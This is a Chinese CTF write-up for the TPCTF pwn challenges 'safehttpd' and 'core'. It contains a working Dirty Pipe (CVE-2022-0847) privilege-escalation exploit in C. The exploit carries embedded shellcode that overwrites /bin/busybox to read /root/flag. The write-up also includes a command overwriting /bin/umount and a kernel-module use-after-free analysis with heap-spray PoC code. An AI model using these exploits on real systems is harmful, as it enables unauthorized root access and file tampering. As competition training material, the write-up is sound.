TPCTF PWN

TPCTF PWN safthttpd & core

比赛时就做了两题,safehttpd 除了密码可以爆出来,看不出来漏洞。
core 看了一眼bzImage kernel 5.8 就直接想到了 dirtypipe 那个CVE,没有看LKM

safehttpd

真的有问题吗

需要知道一个CVE,CVE-2023-25139

core

WOW,kernel 5.8 !

/bin 权限

也算是比较常见的问题,bin目录权限属于 ctf,我们可以进行修改,因此修改 /bin/umount 程序就行,退出后会执行umount

1
2
3
4
$ rm -f /bin/umount
$ echo "cat /root/flag" > /bin/umount
$ chmod 755 /bin/umount
$ exit

CVE-2022-0847

内核版本属于kernel 5.8,属于dirtypipe 漏洞范围内,可以修改任意可读文件

1
2
$ file bzImage
bzImage: Linux kernel x86 boot executable bzImage, version 5.8.0 (vm@vm-pc)

shellcode:Linux 下的 I/O 相关函数

1
2
3
4
int main() {
int fd = open("./run.sh", 0);
sendfile(1, fd, 0, 0x40);
}

写汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
; nasm -f elf64 shell.asm
; ld -s shell.s
;
; use pwntools
; open('/root/flag', 0) => shellcraft.open('/root/flag', 0)
; I/O: 0拷贝
; sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

section .text
global _start
_start:
/* open('/root/flag', O_RDONLY=0) */
push 0x1016660
xor DWORD PTR [rsp], 0x1010101
mov rax, 0x6c662f746f6f722f
push rax
mov rdi, rsp
xor esi, esi
push 2
pop rax
syscall
/* sendfile(out_fd, in_fd, offset=0, count=0x40) */
push 0x40
pop r10
push 1
pop rdi
xor edx, edx
mov esi, eax
push 0x28
pop rax
syscall
/* exit(0) */
xor edi, edi
push 60
pop rax
syscall

因此学习了一下如何生成比较小的ELF文件,写了一个简单的工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
#define _GNU_SOURCE

// clang-format off
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <stdnoreturn.h>

#include <fcntl.h>
#include <sched.h>

#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/user.h>
#include <sys/syscall.h>

#include <linux/keyctl.h>
// clang-format on

static noreturn void err(char *msg) {
puts("Error %s", msg);
sleep(2);
exit(EXIT_FAILURE);
}

const unsigned char shellcode[] = {
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x68, 0x60, 0x66, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01, 0x01, 0x01,
0x48, 0xb8, 0x2f, 0x72, 0x6f, 0x6f, 0x74, 0x2f, 0x66, 0x6c, 0x50, 0x6a,
0x02, 0x58, 0x48, 0x89, 0xe7, 0x31, 0xf6, 0x0f, 0x05, 0x41, 0xba, 0xff,
0xff, 0xff, 0x7f, 0x48, 0x89, 0xc6, 0x6a, 0x28, 0x58, 0x6a, 0x01, 0x5f,
0x99, 0x0f, 0x05, 0xEB};

static void prepare_pipe(int p[2]) {
if (pipe(p)) abort();

const unsigned pipe_size =
fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
}

int main(int argc, char **argv) {
puts("[*] start exploit");
puts("[+] get page size");
size_t page_size = sysconf(_SC_PAGE_SIZE);

puts("[+] get and check args");
__off64_t offset = 1;
unsigned long shellcode_len = sizeof(shellcode);

int fd = open("/bin/busybox", O_RDONLY);
if (fd < 0) {
err("[x] cannot open file");
}
struct stat st;
if (fstat(fd, &st)) {
err("[x] get stat error");
}

if (offset + shellcode_len > st.st_size) {
err("[x] write error! large then original file size");
}

puts("[+] prepare pipe");
int pipe_fd[2];
prepare_pipe(pipe_fd);

puts("[+] splice file");

--offset;
ssize_t nbytes = splice(fd, &offset, pipe_fd[1], NULL, 1, 0);
if (nbytes < 0) {
err("[x] splice error");
}

puts("[+] write content to target suid file");
nbytes = write(pipe_fd[1], &shellcode[1], shellcode_len);
if (nbytes <= 0 || nbytes < shellcode_len) {
err("[x] write to file error");
}

puts("[*] finish exploit!!");
close(fd);
return 0;
}

最终结果

1
2
3
4
5
6
7
8
9
10
11
12
13
/ $ ./exp
[*] start exploit
[+] get page size
[+] get and check args
[+] prepare pipe
[+] splice file
[+] write content to target suid file
[*] finish exploit!!
/ $ ls
Segmentation fault
/ $ exit
flag{123456}
Segmentation fault

LKM

1
2
heap[i]  内核堆,在堆首部存入我们输入数字
heap[i+15] 判断是否正在使用

首先堆的大小:kmalloc_caches[6]0x40,也就是64。

1
chunk = kmem_cache_alloc(kmalloc_caches[6], 3520LL, 0LL, idx);

add: 看作一个树,值比根节点大的放在根左边,小的放在右边

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
__int64 __fastcall add(unsigned int idx)
{
unsigned int nr; // eax
__int64 _idx; // rbx
_WORD *_chunk; // rdx
_WORD *chunk; // rax

if ( add_count )
{
nr = 0;
while ( 1 )
{
_idx = nr;
_chunk = heap_var[nr];
if ( !_chunk )
break;
if ( *_chunk < idx )
{
nr = 2 * nr + 1;
if ( nr > 0xF )
goto LABEL_7;
}
else
{
nr = 2 * nr + 2;
if ( nr > 0xF )
goto LABEL_7;
}
}
chunk = kmem_cache_alloc(kmalloc_caches[6], 3520LL, 0LL, idx);// 0x40
--add_count;
heap_var[_idx + 15] = 1LL;
heap_var[_idx] = chunk;
*chunk = idx;
return 0LL;
}
else
{
LABEL_7:
printk(&unk_3EE);
return 0xFFFFFFFFLL;
}
}

问题出现在如下,可以等于0xf,从而导致 heap[15] 被覆盖。idx=0 可以在free后edit。

1
2
3
4
5
6
if ( *_chunk < idx )
{
nr = 2 * nr + 1;
if ( nr > 0xF )
goto LABEL_7;
}

delete,free后没有置空

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall delete(unsigned int idx)
{
__int64 result; // rax

if ( idx > 0xF || !heap_var[idx] || !heap_var[idx + 15] )
return delete_cold();
kfree(heap_var[idx]);
result = 0LL;
heap_var[idx + 15] = 0LL;
return result;
}

edit,判断 heap_var[nr + 15] 是否为0,进行edit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
__int64 __fastcall edit(unsigned __int16 idx, __int64 buf)
{
unsigned int nr; // eax
_WORD *chunk; // rdi

nr = 0;
while ( 1 )
{
while ( 1 )
{
chunk = heap_var[nr];
if ( !chunk )
return 0LL;
if ( *chunk >= idx )
break;
nr = 2 * nr + 1;
if ( nr > 0xF )
return 0LL;
}
if ( *chunk <= idx )
break;
nr = 2 * nr + 2;
if ( nr > 0xF )
return 0LL;
}
if ( !heap_var[nr + 15] )
return 0LL;
if ( copy_from_user(chunk, buf, 48LL) )
return edit_cold();
else
return 0LL;
}

但是 *chunk >= idx 的比较需要我们可以控制堆的内容

exploit

user_key_payload 在调用 rcu 之前不会写入 header,也就是前16个字节不会改变(占据idx=15,因此是很好的利用点。

  • 堆喷射 user_key_payload 和 pipe,使用 fcntl 修改 ring_size 大小,使其为 0x40 的slab
  • uaf 修改 datalen 从而可以越界读取内容。
  • free user_key_payloay
    • 堆喷射 pipe,UAF: 构建二级自写管道 或者 直接改 flags => dirty pipe

msg_msg 也是常用的一种方式,可以任意地址读写

  • msg_msg 占位,主从消息,主消息0x40
  • UAF 修改 m_ts 0x1000 - msg_header 进行越界读取,读取到后面的msg
  • 通过其 next 指针进行任意地址读/写
  • 或者使用 CVE-2021-22555 的做法
  • 但是需要猜测其最后两字节的数字

PoC

1
2
3
4
5
6
7
8
9
10
11
12
new(0x400); // 0
new(0x500); // 1
new(0x600); // 3
new(0x700); // 7
delete(0);
new(0x800); // 15
delete(15);
memset(data, 0x32, sizeof(data));
key_id = key_alloc("11111111", data, 0x20);
if (key_id < 0)
EMSG("key_alloc error");
debug("heap[15]");

调试如下,两次free+key_alloc后

1
2
3
4
5
6
7
pwndbg> tele 0xffff88800e65df80
00:0000│ 0xffff88800e65df80 ◂— 0x800
01:0008│ 0xffff88800e65df88 ◂— 0x0
02:0010│ 0xffff88800e65df90 ◂— 0x20 /* ' ' */
03:0018│ 0xffff88800e65df98 ◂— '22222222222222222222222222222222'
... ↓ 3 skipped
07:0038│ 0xffff88800e65dfb8 ◂— 0x0

参考

Heap Spray - CTF Wiki (ctf-wiki.org)